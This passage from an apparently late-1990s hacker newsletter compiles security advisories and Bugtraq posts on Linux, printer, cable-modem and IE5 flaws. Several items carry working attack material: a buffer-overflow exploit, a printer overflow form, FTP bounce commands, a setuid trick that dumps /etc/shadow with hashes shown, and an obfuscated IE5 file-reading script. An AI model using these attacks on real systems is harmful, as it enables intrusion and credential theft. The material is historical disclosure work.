        buf[4]=0;
      
        if(strlen(buf) != 4) bail("NULL detected!");
        if(strchr(buf, '^')) bail("caret detected!");
      
        return buf;
      }
      
      int main(int argc, char *argv[]) {
        unsigned long eip;
      
        /* Try to land splat in the middle of the NOPs after FIRST_OFFSET */
        eip=(unsigned long)((char *)&eip-WRD_STACK_OFFSET);
        eip+=FIRST_OFFSET+4+(EGGSIZE-2-FIRST_OFFSET-4-C0DE_SIZE)/2;
        if(argc >= 2) {
          if(!strncmp("0x", argv[1], 2)) /* Absolute */
            eip=strtoul(argv[1], 0, 0);
          else
            eip+=atoi(argv[1]);
        }
        fprintf(stderr, "Using EIP=0x%08x\n", eip);
        memset(egg, 'A', EGGSIZE);
        strncpy(egg+EIP_OFFSET-2, "\xeb\x04", 2);
        strncpy(egg+EIP_OFFSET, htol_LEstr(eip), 4);
        strncpy(egg+FIRST_OFFSET-2, "\xeb\x04", 2);
        strncpy(egg+FIRST_OFFSET, htol_LEstr(OWNED_FIRST), 4);
        memcpy(egg+EGGSIZE-2-C0DE_SIZE, c0de, C0DE_SIZE);
        strcpy(egg+EGGSIZE-2, "^\n");
      
        printf("%s", egg);
        return 0;
      }
      
68.0  Linux forged packets
      ~~~~~~~~~~~~~~~~~~~~
      
      Date:     Sat, 23 Oct 1999 18:34:56 +0200
      Reply-To: Pavel Kankovsky <peak@ARGO.TROJA.MFF.CUNI.CZ>
      
      
      The advisory did not explain what was the cause of the problem.
      (Rant: Why? Will the following explanation help anyone who would not be
      able to find out this piece of information himself to abuse the bug?)
      
      As far as I can tell, the problem is this: anyone, including mere mortals,
      is allowed to use TIOCSETD. Therefore anyone can set PPP line discipline
      on a tty under his control and sent forged datagrams right into the kernel
      network subsystem.
      
      I do not believe there is any reason why mortals should ever be allowed to
      use TIOCSETD (at least under Linux), therefore adding something like
      "if (!suser()) return -EPERM;" under "case TIOCSETD:" in drivers/char/
      tty_io.c should fix the problem for 2.0 (things are a bit more
      complicated in 2.2 but we've already got a fix for 2.2). But remember:
      you use it at your own risk, there is no guarantee this patch will not
      kill all your family when used improperly.
      
      --Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms]
      "Resistance is futile. Open your source code and prepare for
      assimilation." 
      
      
      
      NAME
         user-rawip-attack
      AUTHOR
         Marc SCHAEFER <schaefer@alphanet.ch>
            with the help of Alan COX (for the fix)
            and of Andreas Trottmann <andreas.trottmann@werft22.com> for the
            work-around idea.
      VERSION
         $Id: user-raw-IP,v 1.3 1999/10/22 08:33:10 schaefer Exp $
      
      ABSTRACT
         Forged packets can be send out from a Linux system, for example
         for NFS attacks or any other protocol relying on addresses for
         authentification, even when protected from the outside interfaces
         by firewalling rules. Most of the time, existing firewalling
         rules are bypassed. This requires at least a shell account on the
         system.
      
      IMPACT
         Any local user can send any packet to any host from most Linux default
         installations without of the use of any permission problem or
         suid flaw. Basically, it corresponds to having write only permissions
         to raw IP socket on the server machine.
      
      IMMUNE CONFIGURATIONS
         You are immune to this problem if one (or more) of the following
         is true:
      
            - you do not have local (shell) users
      
            - SLIP and PPP are not compiled-in the kernel and either
              are not available in /lib/modules/* as modules, or are
              never loaded and kerneld/kmod is not available.
      
            - you use deny-default configuration for your input firewall rules,
              and you don't have accept entries for specific addresses or
              for unused ppp or slip interfaces (and the used ones are
              never unused or accept rules are safely removed at shutdown).
      
            - you use 2.3.18 with ac6 patch (or higher).
      
            - you use 2.2.13pre15 (or higher).
      
      OPERATING SYSTEMS
         Linux (any until recently)
      
      POSSIBLE-WORK-AROUNDS
         - Make so that SLIP and PPP support are not available
      or
         - Use deny default policy for input firewall, only allow for
           specific address ranges and specific interfaces. For dynamic links
           (such as SLIP or PPP), add an accept at link creation time, and
           remove the entry when the link goes down.
      
      FIX
         - For 2.3.x, install 2.3.18 with the ac6 patch (or higher). Warning,
           this is a DEVELOPMENT kernel.
         - For 2.2.x, install 2.2.13pre15 or higher (e.g. 2.2.13).
         - At this time no fix for 2.0.x. Please apply the above mentionned
           work-arounds.
      
      EXPLOIT
         Please do not request exploit from the listed authors. Requests for
         exploits will be ignored. A working exploit exists and has been
         tested on current Linux distributions. It is possible that an
         exploit be posted some time in the future (or that someone reads
         this and does it by himself ...).
      
      NOTES
         This advisory is for information only. No warranty either expressed
         or implied. Full disclosure and dissemination are allowed as long as
         this advisory is published in full. No responsability will be taken
         from abuse or lack of use of the information in this advisory.
      
      @HWA      
      
69.0  Nashuatec printer is vulnerable to various attacks
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://packetstorm.securify.com
      
      hi,

      The NASHUATEC D445 printer is vulnerabled to many attacks.
      There are 4 communs services that run in a standard 
      configuration: httpd, ftpd, telnetd, printer.
      (tested with nmap)
      
      I discovered last day, at least three differents ways to 
      attack this kind of boxes.
      
      First, it's possible to configure remotly the server via its 
      own admin web server (port 80).
      Naturaly the server 'll ask u for an admin password before 
      submiting the form to the cgi. The password field is 15 
      chars length but an intruder with a lightly modified copy of 
      the original form 'll be able to submit many more chars ( 
      about 260 will be enough for the test ) to the cgi and 
      produce a buffer overflow.( see the example below )
      The cgi concerned is "reset" but i suppose, every cgi are 
      exposed to this problem.
      If our intruder decide to forge a special password with 
      instruction code inside he'll force the remote printer to 
      execute code with the target web server priviledge.
      I don't have, now, all the required informations to gain 
      server priviledge but u may find it here very soon :)
      
      Attacker form example:
      
      <HTML>
      <HEAD>
      <TITLE>Nashuadeath</TITLE>
      </HEAD>
      <!-- Gregory Duchemin Aka c3rber -->
      <!-- NEUROCOM -->
      <!-- http://www.neurocom.com -->
      <!-- 179/181 Avenue Charles de Gaulle -->
      <!-- 92200 Neuilly Sur Seine  -->
      <!-- Tel: 01.41.43.84.84 Fax: 01.41.43.84.80 -->
      <BODY>
      <HR>
      <CENTER><FONT SIZE=+2><big><B>NIB 
      450-E</B></big></FONT></CENTER>
      <HR>
      <CENTER><FONT SIZE=+2>Unit Serial Number 
      599132</FONT></CENTER>
      <HR>
      <H2><CENTER>Reset Unit</H2>
      <HR>
      <FORM ENCTYPE="x-www-form-encoded" METHOD="POST" 
      ACTION="http://victim-printer-ip/Forms/reset">
      <B>A very big password is required to perform this function 
      ( at least 260 chars length ).</B><BR>
      <BR>
      <INPUT TYPE="text" NAME="http_pwd" SIZE="100" 
      MAXLENGTH="1500">
      <BR>
      <BR>
      <INPUT TYPE="SUBMIT" NAME="Submit" VALUE="T3st M3 PL3ase">
      </FORM>
      <P>
      <HR>
      <P>
      <CENTER>[ <A HREF="/index">Home</A> | <A HREF="/info">Unit 
      Info</A> ]
      </CENTER>
      </BODY>
      </HTML>
      
      
      
      
      another flaw is present in the ftp daemon that permit the 
      infamous "bounce attack".
      ftp printer.victim.com
      user xxxxx
      pass xxxxx
      quote port a1,a2,a3,a4,0,25
      
      a1.a2.a3.a4 is every other ip adress.
      
      the ftp server doesn't check neither the type of port in the 
      request ( < 1024 = administrative port ) nor the ip adress 
      used.
      So an intruder may use the service to attack some ohter 
      boxes anonymously.
      
      
      The last one is a denial of service with an icmp redirect 
      storm against the printer ip stack. 
      Use winfreez.c to test it.
      The printer 'll not respond anymore during the attack.
      
      Have a nice day,
      
      
      Gregory Duchemin.
      
      -------------------------
      NEUROCOM
      http://www.neurocom.com
      179/181 Avenue Charles de Gaulle
      92200 Neuilly Sur Seine
      Tel: 01.41.43.84.84 Fax: 01.41.43.84.80
      
      @HWA      
      
70.0  xmonisdn bug
      ~~~~~~~~~~~~
      
      http://packetstorm.securify.com

      From: Ron van Daal <ronvdaal@SYNTONIC.NET>
      
      Hello,
      
      While playing with xmonisdn (included in the isdn4k-utils package),
      I discovered a little bug. I didn't find anything regarding xmonisdn
      in the Bugtraq archives, so here's a quick post.
      
      I'm wondering if other xmonisdn users can reproduce this exploit.
      (Tested on my workstation, which is running Red Hat Linux 6.0)
      
      [syntonix@damien bin]# pwd; ls -al xmonisdn
      /usr/bin
      -rwsr-xr-x   1 root     root        13528 Mar  4  1998 xmonisdn
      [syntonix@damien bin]# xmonisdn -file /etc/shadow
      Warning: Cannot convert string "netactive" to type Pixmap
      Warning: Cannot convert string "netactiveout" to type Pixmap
      Warning: Cannot convert sWarning: Cannot convert string "netstop" to type Pixmap
      
      [1]+  Stopped                 xmonisdn -file /etc/shadow
      [syntonix@damien bin]# bg
      [1]+ xmonisdn -file /etc/shadow &
      [syntonix@damien bin]# killall -8 xmonisdn
      [1]+  Floating point exception(core dumped) xmonisdn -file /etc/shadow
      [syntonix@damien bin]# strings core|less
      
      <snip>
      /lib/ld-linux.so.2
      root:$1$Fijz9O0n$ku/VSK.h6cbTV5oueAAwz/:10883:0:99999:7:-1:-1:134538500
      bin:*:10878:0:99999:7:::
      daemon:*:10878:0:99999:7:::
      adm:*:10878:0:99999:7:::
      lp:*:10878:0:99999:7:::
      sync:*:10878:0:99999:7:::
      shutdown:*:10878:0:99999:7:::
      halt:*:10878:0:99999:7:::
      mail:*:10878:0:99999:7:::
      news:*:108operator:*:10878:0:99999:7:::
      games:*:10878:0:99999:7:::
      gopher:*:10878:0:99999:7:::
      ftp:*:10878:0:99999:7:::
      nobody:*:10878:0:99999:7:::
      xfs:!!:10878:0:99999:7:::
      ronvdaal:$1$Dc92cqLj$V/HSANaVuwCMxGjFfZC/T0:10883:0:99999:7:-1:-1:134538492
      syntonix:$1$h3yIM.h/$JjBLYPvb4Zcjv1tb.21Uw/:10883:0:99999:7:-1:-1:134538484
      <snip>
      
      --
      Ron van Daal          | Syntonic Internet | tel. +31(0)46-4230738
      ronvdaal@syntonic.net | www.syntonic.ne
      
      @HWA      
      
71.0  Nasty stack smashing bug in Linux-2.2.12 execve 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://packetstorm.securify.com


      From: ben@VALINUX.COM
      Subject: execve bug linux-2.2.12
      
      
      While doing some debugging, I discovered a really nasty stack smash bug in
      linux-2.2.12. The I haven't checked previous versions of the 2.2 kernel
      but bug appears to be fixed in linux-2.2.13pre17. 
      
      If I am reading this correctly, the implications of this bug could be
      very dire. It may be possible to easily obtain root privilege on any
      box running this kernel.
      
      Basically the problem is that the execve system call checks that argv
      is a valid pointer but it doesn't check that all of the pointers in
      argv array are valid pointers. If you pass bad pointers into the
      execve system call you can corrupt the processes stack before it
      returns to user space. Then when the kernel hands off the process to
      the elf loader code and which begins to setup the processes it can be
      made to execute some malicious code in place of the program's main
      function.
      
      This is particularly scary because all of this occurs BEFORE the
      program begins executing its main function and AFTER the program
      returns to user space with privilege. Therefore no matter how well
      audited the program may be it can be used as to gain privilege.
      
      The thing that tipped me off to the problem was that a program that I
      exec'd was getting killed with SIGSEGV in __libc_start_main before my
      main function began running.
      
      -ben
      
      
      Per popular demand here is some more information on the bug I've been
      observing. I'm sorry. I wish I had thought to include this in my
      original post:
      
      Here is one ltrace fragment where my program only corrupts one of the
      parameters:
      
      [pid 578] execv("/bin/grep", 0x7ffffcdc &lt;unfinished ...&gt;
      [pid 578] __libc_start_main(0x0804a4e0, 200, 0x7fffb3a4, 0x08048bf4,
      0x080516dc &lt;unfinished ...&gt;
      [pid 578] --- SIGSEGV (Segmentation fault) ---
      [pid 578] +++ killed by SIGSEGV +++
      --- SIGCHLD (Child exited) ---
      
      Here is some information from gdb:
      
      (gdb) core-file /tmp/core
      Core was generated by 
      Program terminated with signal 11, Segmentation fault.
      Reading symbols from /lib/libc.so.6...done.
      Reading symbols from /lib/ld-linux.so.2...done.
      #0  0x2aae60f6 in getenv (name=0x2aba8562 "LLOC_TRIM_THRESHOLD_")
          at ../sysdeps/generic/getenv.c:88
      ../sysdeps/generic/getenv.c:88: No such file or directory.
      (gdb) bt
      #0  0x2aae60f6 in getenv (name=0x2aba8562 "LLOC_TRIM_THRESHOLD_")
          at ../sysdeps/generic/getenv.c:88
      #1  0x2aae689b in __secure_getenv (name=0x2aba8560
      "MALLOC_TRIM_THRESHOLD_")
          at secure-getenv.c:29
      #2  0x2ab1e2e0 in ptmalloc_init () at malloc.c:1689
      #3  0x2aade211 in __libc_preinit (argc=200, argv=0x7fffb3a4,
      envp=0x7fffb6c8)
          at set-init.c:26
      #4  0x2aade030 in __libc_start_main (main=0x804a4e0 &lt;strcpy+5500&gt;,
      argc=200,
          argv=0x7fffb3a4, init=0x8048bf4, fini=0x80516dc &lt;strcpy+34680&gt;,
          rtld_fini=0x2aab5ad4 &lt;_dl_fini&gt;, stack_end=0x7fffb39c)
          at ../sysdeps/generic/libc-start.c:68
      (gdb)
      
      This was just one run. There were other runs where more interesting
      things happened. There was one in particular where the pointer to init
      was corrupted but I haven't been able to reproduce that one yet.
      
      I put the source code for the program I was debugging at the time when
      I stumbled into this at:
      "<A TARGET=nonlocal
      HREF="/external/ftp://ftp.bastille-linux.org/bastille/broken-fuzz.c.gz"">ftp://ftp.bastille-linux.org/bastille/broken-fuzz.c.gz"</A>.
      Note: this
      is not a working program!!! Do not take this as a release. I have
      since fixed many bugs in it. I coded it up and was in the process of
      making it work for the first time when I stumbled across this
      problem. Its its current form its only purpose is to demonstrate the
      problem that I saw. To trigger the problem simply run the program with
      the -ba option and the name of your favorite exectuable. e.g.
      "./fuzz -ba grep"
      
      -ben
      
       To:            BugTraq
       Subject:      Re: execve bug linux-2.2.12
       Date:         Fri Oct 15 1999 19:20:14
       Author:       visi0n
      
      
              Whoa, I think the kernel 2.0.38 has the same bug, and one more,
      in the count() function to check how many argv's the bin have, he dont
      check for max number of argv's. This is worse than the bug found in
      2.2.12 execve().
      
      
      
      To:            BugTraq
       Subject:            Re: execve bug linux-2.2.12
       Date:            Sat Oct 16 1999 07:22:02
       Author:            Alan Cox
      
      
      > Basically the problem is that the execve system call checks that argv
      > is a valid pointer but it doesn't check that all of the pointers in
      > argv array are valid pointers. If you pass bad pointers into the
      
      This is incorrect. To start with - it builds the argv pointer array
      itself. The passed array is simply used to get a list of strings
      and to build them on the stack of the target process.
      
      The argv and envp is then built by the ELF loader walking these tables
      in order to generate the argv and envp arrays that the SYS5 ABI expects
      to be passed (saner ABI's the user space start up builds argc/argv).
      
      > execve system call you can corrupt the processes stack before it
      > returns to user space. Then when the kernel hands off the process to
      
      I don't think you can. The built ELF stack looks roughly like
      
              [Environment] - null terminated string data
              [Arguments] - null terminated string data
              [Elf gloop]
              [envp]
              [argv]
              [argc]
      -> You are here
      
      on entry, so the stack is fine.
      
      > The thing that tipped me off to the problem was that a program that I
      > exec'd was getting killed with SIGSEGV in __libc_start_main before my
      > main function began running.
      
      I would certainly be interested in an example that caused this. That there
      could be a bug in the kernel or glibc exec building I can believe. Your
      diagnosis of the cause however is dubious.
      
      Alan
      
      
       To:            BugTraq
       Subject:            Re: execve bug linux-2.2.12
       Date:            Sat Oct 16 1999 14:13:19
       Author:            security@xirr.com
      
      
      Caveat: I am running linux-2.2.12ow6 which contains
      many security fixes, yet I believe my comments are still
      valid. Also I am not a kernel guru.
      
      > Basically the problem is that the execve system call 
      > checks that argv is a valid pointer but it doesn't check 
      > that all of the pointers in argv array are valid pointers. 
      
      The kernel copies each argv[i] into a contiguous chunk
      of the (soon to be) stack. Thus it must dereference each
      argv[i]. Check out linux/fs/exec.c line 261 for an almost
      explicit dereference of argv[i] (memcpy(str,argv+i) except
      kernel to user space version).
      
      This is confirmed by a small test program:
      
      #include "nolibc.h"
      main(int argc, char** argv,char **envp) {       
              int i;
              char buf[32];
      
              argv[1]=2;
              i=execve("/bin/sh",argv,envp);
      
              /* we should never reach this point, but print
                      out errno in hexadecimal */
              i=htonl(i);
              i=itoh(&i,buf);
              buf[i]='\n';
              write(1,buf,i+1);
      }
      
      
      This program does not run /bin/sh but istead prints out the
      message 0000000e representing errno=14, EFAULT.
      
      This means the kernel got a segfault while copying the
      argv[i]'s to the stack, and thus failed the syscall.
      
      This program is linked with 
      'gcc -O -fno-builtin -nostdlib test.c'
      
      nolibc.h is ugly but available by request under GPL. It
      defines ntohl,itoh,write,execve, and _start.
      
      Note execve, htonl, itoh, and write are macros. Execve/write
      are direct system calls. (itoh converts 4 bytes to 8byte
      hex representation and returns 8, htonl byte swaps so
      the bytes come out in the right order).
      
      > The thing that tipped me off to the problem was that a 
      > program that I exec'd was getting killed with SIGSEGV
      > in __libc_start_main before my
      > main function began running.
      
      I'm not really sure if this is a widespread problem, but
      ANYTIME libc gets hosed (malloc(-1) for example) gdb reports
      the problem occuring in a function called from 
      __libc_start_main and does not ever mention main.
      
      I'll study this a wee bit more, since the references I'm
      using for the startup state don't seem to jive with my 
      experience. (Namely I never see an array of pointers
      being setup in the docs, and my programs definately
      do not do so, yet they function and dereference argv
      as if it were an array of pointers).
      
      Another remark: If I misunderstood the bug (like argv[1]=2
      obviously is not valid, and is not what you meant) please 
      let me know.
      
      
      
       Author:            Matt Chapman
      
      
      On Sat, Oct 16, 1999 at 02:22:02PM +0100, Alan Cox wrote:
      >
      > I would certainly be interested in an example that caused this.
      
      #include <unistd.h>
      #include <errno.h>
      
      #define BADPTR (char *)0x10   /* for example */
      
      int main(int argc, char **argv, char **envp)
      {
              char *args[7];
              int i;
      
              args[0] = "su";
              for (i = 1; i < 6; i++) {
                      args[i] = BADPTR;
              }
              args[6] = NULL;
      
              execve("/bin/su", args, envp);
      
              printf("%s\n", strerror(errno));
              return 1;
      }
      
      This program (on my system at least 5 bad arguments are needed) 
      reproducibly dies with SIGSEGV on 2.2.12. A similarly configured system
      with kernel 2.0.36 correctly reports EFAULT. 
      
      This would not normally be a problem, however... the above program will
      not dump core for an ordinary user, only root, which makes me believe that
      the fault occurs after the process has gained the root euid from /bin/su. 
      
      A gdb trace suggests the usual heap corruption in glibc, which does not
      seem to be related to the arguments passed to execve (as long as they are
      bad), so I doubt this is exploitable. However it is most likely a bug
      somewhere. 
      
              Matt
      
      
      
      --
      Matthew "Austin" Chapman
      SysAdmin, Developer, Samba Team Member
      
      
      @HWA      

72.0  Finjan exploit alert
      ~~~~~~~~~~~~~~~~~~~~
      
      http://packetstorm.securify.com

                        Finjan Software, Inc.
                    Malicious Code Exploit Alert

      Finjan customers and partners,
      
      There is a recent Trojan executable you should be aware of called
      WinNT.Infis.
      
      Through Finjan's proactive "sandbox" technology, executable files such
      as the WinNT.Infis are monitored and blocked on the first attack.  By
      watching for violations of security policies, Finjan's SurfinShield
      Corporate protects desktop and network computers from attacks by this
      Trojan executable, as well as new variants of this malicious program,
      without requiring users to download any software patch or anti-virus
      pattern update.
      
      WinNT.Infis is yet another example of Trojan executables that are
      appearing more frequently.  Please take proper precautions to educate
      and protect your corporation and employees.
      
      ---------------------------------------------------------------
      WinNT.Infis Trojan Executable
      ---------------------------------------------------------------
      
      OVERVIEW
      
      WinNT.Infis is an executable file with .EXE extension that installs
      itself as a native Windows NT system driver.  It is the first known
      malicious program to install and run in Kernel mode under Windows NT.
      That is, WinNT.Infis runs in the most sensitive part of the Windows NT
      operating system.  There has been speculation about the creation of a
      Windows NT driver attack, but most experts believed that such an
      attack was at least one or two years in the future.  WinNT.Infis has
      made theory into reality much sooner than expected.
      
      WinNT.Infis Trojan is capable of infecting any executable files
      (program) on the fly from Kernel mode.
      
      
      TECHNICAL DESCRIPTION
      
      Infis is a 32-bit Windows executable file that infects other Windows
      executables. When the Trojan is executed, it creates the
      HKLM\SYSTEM\CurrentControlSet\Services\inf entry in the Windows NT
      registry and creates the system file INF.SYS in the
      \WINNT\SYSTEM32\DRIVERS directory.  The INF.SYS file is a native
      Windows NT driver and is 4608 bytes.
      
      When the system is rebooted the altered driver (INF.SYS) is loaded
      automatically. This way the Trojan will be able to replicate to
      accessed executable files on the fly.  The Trojan replicates to
      Windows executable applications that have .EXE extensions.  The Trojan
      does not infect the CMD.EXE and is unable to infect read-only files.
      
      However, the Trojan has to be executed by an Administrator equivalent
      user.  Without such a right the code is unable to replicate because,
      despite running in the kernel, it does not have a User mode
      replication component.
      
      
      HOW TO PROTECT YOURSELF
      
      Finjan's SurfinShield Corporate
      (http://www.finjan.com/products_home.cfm) will protect users from ALL
      variants of this Trojan as well as new Trojan executables through its
      proactive run-time monitoring technology that "sandboxes" executables
      saved on PCs and blocks any executable that violates a security
      policy.
      
      
      Updated pattern databases from anti-virus vendors will block this
      version of WinNT.Infis.exe.
      
      
      ADDITIONAL INFORMATION
      
      InfoWorld story (Oct. 8, 1999):
      http://www.infoworld.com/cgi-bin/displayStory.pl?99108.enntvirus.htm
      
      
      ----------------------------------------------------------------------
      PRIVACY AND UNSUBSCRIBE NOTICE
      
      Finjan Software respects your right to online privacy.  If you do not
      wish to receive news or alert e-mails from us, simply reply to this
      e-mail at: finjan@usmail.finjan.com and type "unsubscribe" in the
      "subject" field.
      
      @HWA      
      
73.0  Hybrid network cablemodems
      ~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://packetstorm.securify.com
      
      KSR[T] Security Advisories http://www.ksrt.org
      Contact Account:           ksrt@ksrt.org
      Advisory Subscription:     Send an empty message to:
                                 ksrt-advisories-subscribe@ksrt.org
      ----
      
                                                        KSR[T] Advisory #012
                                                        Date:  Oct.  6  1999
                                                        ID #:  hybr-hsmp-012
      
      Affected Program:    Hybrid Network's Cable Modems
      
      Author:              David Goldsmith <dhg@ksrt.org>
      
      Summary:             Remote attackers can anonymously reconfigure any
                           Hybrid Network's cable modem that is running HSMP.
                           This can be used to steal information and
                           login/password pairs from cable modem users.
      
      Problem Description: Hybrid Network's cable modems can be configured via
                           a UDP based protocol called HSMP.  This protocol
                           does not require any authentication to perform
                           configuration requests.  Since UDP is easily spoofed,
                           configuration changes can made anonymously.
      
      Compromise:          There are a plethora of denial of services attacks
                           involving bad configuration settings (ethernet
                           interfaces set to non-routable IP addresses, et al).
                           HSMP can also be used to configure the DNS servers
                           used by cable modem users, allowing attackers to
                           redirect cable modem subscribers to a trojan site.
      
                           More complex and theoretical attacks could involve
                           the running of actual code through the debugging
                           interface.  This might allow remote attackers to
                           deploy ethernet sniffers on the cable modem.
      
      Notes:               KSR[T] found this vulnerability in parallel with
                           Paul S. Cosis <sili@l0pht.com> and the l0pht.  We
                           would like to thank them for their input to this
                           advisory.
      
      Patch/Fix:           Cable providers should block out HSMP traffic
                           (7777/udp) on their firewalls.
      
      Links:               KSR[T] had initially written a demonstration
                           HSMP client which is located at:
      
                           http://www.ksrt.org/ksrt-hsmp.tar.gz
      
                           There is also another HSMP client located at:
      
                           http://www.larsshack.org/sw/ccm/
      
                           l0pht modified the above client and added
                           the ability to spoof the source address, allowing
                           for the anonymous reconfiguration of Hybrid cable
                           modems). Their client is located at:
      
                           http://c0re.l0pht.com/~sili/ccm-spoof.tar.gz
      @HWA      
      


74.0  HP Printer display hack (source code)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
      http://www3.l0pht.com/~sili/hp.c  
            
      /* 
         HP Printer Hack
         12/8/97 sili@l0pht.com
      
         Compile with -lsocket -lnsl on solaris. 
         Should compile fine on *BSD & linux.
      
         
      */
      
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <netdb.h>
      #include <netinet/in.h>
      #include <stdio.h>
      
      #define PORT 9100
      
      int main (int argc, char *argv[]) {
      
        int sockfd,len,bytes_sent;   /* Sock FD */
        struct hostent *host;   /* info from gethostbyname */
        struct sockaddr_in dest_addr;   /* Host Address */
        char line[100];
        
        if (argc !=3) {
          printf("HP Display Hack\n--sili@l0pht.com 12/8/97\n\n%s printer \"message\"\n",argv[0]);
          printf("\tMessage can be up to 16 characters long (44 on 5si's)\n");
          exit(1);
        }
      
        if ( (host=gethostbyname(argv[1])) == NULL) {
          perror("gethostbyname");
          exit(1);
        }
      
        printf ("HP Display hack -- sili@l0pht.com\n");
        printf ("Hostname:   %s\n", argv[1]);
        printf ("Message: %s\n",argv[2]);
      
        /* Prepare dest_addr */
        dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
        dest_addr.sin_port= htons(PORT) ; /* PORT defined above */
      
        /* Prepare dest_addr */
        bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);
      
        bzero(&(dest_addr.sin_zero), 8);  /* Take care of  sin_zero  ??? */
        
        
        /* Get socket */
      /*  printf ("Grabbing socket....\n"); */
        if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
          perror("socket");
          exit(1);
        }
      
        /* Connect !*/
      
        printf ("Connecting....\n");
        
        if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
          perror("connect");
          exit(1);}
      
        /* Preparing JPL Command */
        
        strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
        strncat(line,argv[2],44);
        strcat(line,"\"\r\n\033%-12345X\r\n");
      
        /* Sending data! */
      
      /*  printf ("Sending Data...%d\n",strlen(line));*/
      /*  printf ("Line: %s\n",line); */
        bytes_sent=send(sockfd,line,strlen(line),0);
        
        printf("Sent %d bytes\n",bytes_sent);
        close(sockfd);
      }
      
      @HWA      
      
75.0  Omni-NFS/X Enterprise version 6.1
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
      
      http://packetstorm.securify.com

      Faulty software
      ---------------
      
      Omni-NFS/X Enterprise version 6.1
      
      Product
      ---------
      
      Omni-NFS/X Enterprise  is a X, NFS server solution for win32 systems.
      It is written by XLink Technology ( http://www.xlink.com ) .
      
      Vulnerability
      -------------
      
      The nfs daemon ( nfsd.exe ) used by Omni-NFS/X will jump to 100% cpu usage
      if you scan it
      using nmap with ether the -O (OS detect ) or the -sS ( TCP SYN (half open) )
      .
      
      Example :
      
      (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1007)
      $ nmap -O -p 111 slacky
      
      Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
      Interesting ports on slacky (192.168.1.2):
      Port    State       Protocol  Service
      111     open        tcp       sunrpc
      
      TCP Sequence Prediction: Class=trivial time dependency
                               Difficulty=2 (Trivial joke)
      Remote operating system guess: Windows NT4 / Win95 / Win98
      
      Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
      (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1008)
      $
      
      This was tested on  Microsoft Windows NT 4.0 Workstation with SP5 .
      I'm preaty sure all their NFS solutions are affected by this.
      
      ------------------------------------------------
      Sacha Faust sfaust@isi-mtl.com
      "He who despairs of the human condition is a coward, but he who has hope for
      it is a fool. " - Albert Camus
      Faulty software
      ---------------
      
      Omni-NFS/X Enterprise version 6.1
      
      Product
      ---------
      
      Omni-NFS/X Enterprise  is a X, NFS server solution for win32 systems.
      It is written by XLink Technology ( http://www.xlink.com ) .
      
      Vulnerability
      -------------
      
      The nfs daemon ( nfsd.exe ) used by Omni-NFS/X will jump to 100% cpu usage
      if you scan it
      using nmap with ether the -O (OS detect ) or the -sS ( TCP SYN (half open) )
      .
      
      Example :
      
      (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1007)
      $ nmap -O -p 111 slacky
      
      Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
      Interesting ports on slacky (192.168.1.2):
      Port    State       Protocol  Service
      111     open        tcp       sunrpc
      
      TCP Sequence Prediction: Class=trivial time dependency
                               Difficulty=2 (Trivial joke)
      Remote operating system guess: Windows NT4 / Win95 / Win98
      
      Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
      (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1008)
      $
      
      This was tested on  Microsoft Windows NT 4.0 Workstation with SP5 .
      I'm preaty sure all their NFS solutions are affected by this.
      
      ------------------------------------------------
      Sacha Faust sfaust@isi-mtl.com
      "He who despairs of the human condition is a coward, but he who has hope for
      it is a fool. " - Albert Camus
      
      @HWA      
      
76.0  More IE5 vulnerabilities
      ~~~~~~~~~~~~~~~~~~~~~~~~
      
      IE 5.0 security vulnerability - reading local (and from any domain,
      probably window spoofing is possible) files using IFRAME and
      document.execCommand
      
      Disclaimer:
      The opinions expressed in this advisory and program are my own and not
      of any company.
      The usual standard disclaimer applies, especially the fact that Georgi
      Guninski
      is not liable for any damages caused by direct or  indirect use of the
      information or functionality provided by this program.
      Georgi Guninski, bears NO responsibility for content or misuse of this
      program or any derivatives thereof.
      
      Description:
      
      Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is
      vulnerable)
      allows reading local files, text and HTML files from any domain and
      probably window spoofing (have not tested window spoofing but believe it
      is possible)
      It is also possible in some cases to read files behind fiewall.
      
      Details:
      
      The problem is the combination of IFRAME and document.execCommand.
      Normally, you cannot use execCommand on an IFRAME from another domain.
      But if you do:
      "IFRAME.focus(); document.execCommand" then command will be executed in
      the IFRAME
      (some commands do not work in this way, but some do and that is enough).
      So, we create an IFRAME with SRC="file://c:/test.txt" and inject
      JavaScript code in it. When the
      JavaScript code is executed, it is executed in the security context of
      the IFRAME - the "file:" protocol.
      The injection is done using the "InsertParagraph" command (guess other
      commands will do) which sets the ID of the paragraph.
      But if you place a " in the ID, then a STYLE tag may be inserted also.
      The JavaScript code is injected using the STYLE tag:
      STYLE="left:expression(eval(JSCode))"
      This vulnerability may be exploited using HTML email message or a
      newsgroup posting.
      
      The code is:
      ----------------------------------------------------------------------------------------
      <SCRIPT>
      alert("Create text file c:\\test.txt and it will be read");
      function f()
      {
      I1.focus();
      document.execCommand("selectAll");
      document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");
      }
      setTimeout('f()',2000);
